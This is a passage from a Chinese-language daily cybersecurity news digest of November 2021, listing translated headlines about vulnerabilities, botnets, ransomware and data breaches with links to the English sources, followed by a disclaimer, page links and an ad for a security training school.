https://www.securityweek.com/diebold-nixdorf-atm-flaws-allowed-attackers-modify-firmware-steal-cash 5、Nasa、西门子和大众使用的物联网DDS协议漏洞可能被黑客利用
https://www.securityweek.com/iot-protocol-used-nasa-siemens-and-volkswagen-can-be-exploited-hackers 6、研究人员展示了新的 Tor 加密流量指纹攻击技术
https://thehackernews.com/2021/11/researchers-demonstrate-new.html 7、网络犯罪分子针对阿里云ECS实例进行挖矿和植入恶意软件
https://threatpost.com/cybercriminals-alibaba-cloud-cryptomining-malware/176348/ 8、Magniber 勒索软件利用IE漏洞
https://cyware.com/news/magniber-is-now-exploiting-internet-explorer-flaws-48b860e6 9、酒店预订网站 RedDoorz 数百万新加坡和东南亚客户数据泄露
https://www.straitstimes.com/tech/tech-news/59m-customers-of-reddoorz-hotel-booking-site-leaked-in-spores-largest-data-breach 10、研究人员发现针对哈萨克斯坦的多阶段攻击
https://blog.malwarebytes.com/threat-intelligence/2021/11/a-multi-stage-powershell-based-attack-targets-kazakhstan/
网络安全日报 2021年11月15日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、英特尔、AMD 修补多个高危安全漏洞
https://www.securityweek.com/intel-amd-patch-high-severity-security-flaws 2、"BotenaGo"利用33个漏洞攻击数百万路由器和物联网设备
https://www.securityweek.com/botenago-malware-targets-routers-iot-devices-over-30-exploits 3、Zoom 修补多个软件组件高危漏洞
https://www.securityweek.com/zoom-patches-high-risk-flaws-meeting-connector-keybase-client 4、谷歌、Adobe 发布新的开源安全工具
https://www.securityweek.com/google-adobe-announce-new-open-source-security-tools 5、 FBI 电子邮件服务器遭入侵被用来发送虚假警告钓鱼邮件
https://securityaffairs.co/wordpress/124570/cyber-crime/fbi-hacked-email-server.html 6、零售巨头 Costco 披露数据泄露,支付卡数据泄露
https://securityaffairs.co/wordpress/124534/data-breach/costco-data-breach.html 7、新的 Abcbot DDoS 僵尸网络以 Linux 系统为目标
https://securityaffairs.co/wordpress/124542/security/abcbot-ddos-botnet-linux.html 8、越来越多的钓鱼活动利用HTML走私技术
https://thehackernews.com/2021/11/hackers-increasingly-using-html.html 9、攻击者可利用GoCD中的漏洞发起供应链攻击
https://portswigger.net/daily-swig/gocd-bug-chain-provides-second-springboard-for-supply-chain-attacks 10、TrickBot团伙通过钓鱼邮件部署BazarLoader
https://www.bleepingcomputer.com/news/security/windows-10-app-installer-abused-in-bazarloader-malware-attacks/
网络安全日报 2021年11月12日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、一项 18 个月的研究发现了近 100 个 TCP/IP 堆栈漏洞
https://www.securityweek.com/nearly-100-tcpip-stack-vulnerabilities-found-during-18-month-research-project 2、PS5 根密钥被窃取和内核漏洞被利用
https://threatpost.com/playstation-5-hacks-same-day/176240/ 3、新僵尸网络-Abcbot 正在形成
https://cyware.com/news/abcbot-a-new-botnet-in-the-making-f79494e1 4、HPE 称黑客使用窃取的密钥入侵了 Aruba Central
https://www.bleepingcomputer.com/news/security/hpe-says-hackers-breached-aruba-central-using-stolen-access-key/ 5、TeamTNT 使用新的复杂技术入侵Docker 服务器
https://cyware.com/news/teamtnt-uses-new-sophisticated-techniques-against-docker-systems-5d295e64 6、Lazarus Group 利用植入后门的IDA Pro攻击安全研究人员
https://www.bleepingcomputer.com/news/security/lazarus-hackers-target-researchers-with-trojanized-ida-pro/ 7、VoIP 提供商 Telnyx 遭DDoS攻击
https://cisomag.eccouncil.org/ddos-attack-on-voip-provider-telnyx-impacts-global-telephony-services 8、Apache Storm修复了两个预认证RCE漏洞
https://portswigger.net/daily-swig/apache-storm-maintainers-patch-two-pre-auth-rce-vulnerabilities 9、Palo Alto Networks修复产品中的零日漏洞
https://www.randori.com/blog/cve-2021-3064/ 10、Citrix发布安全更新修复ADC中的关键漏洞
https://securityaffairs.co/wordpress/124452/security/citrix-dos-adc-gateway.html
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

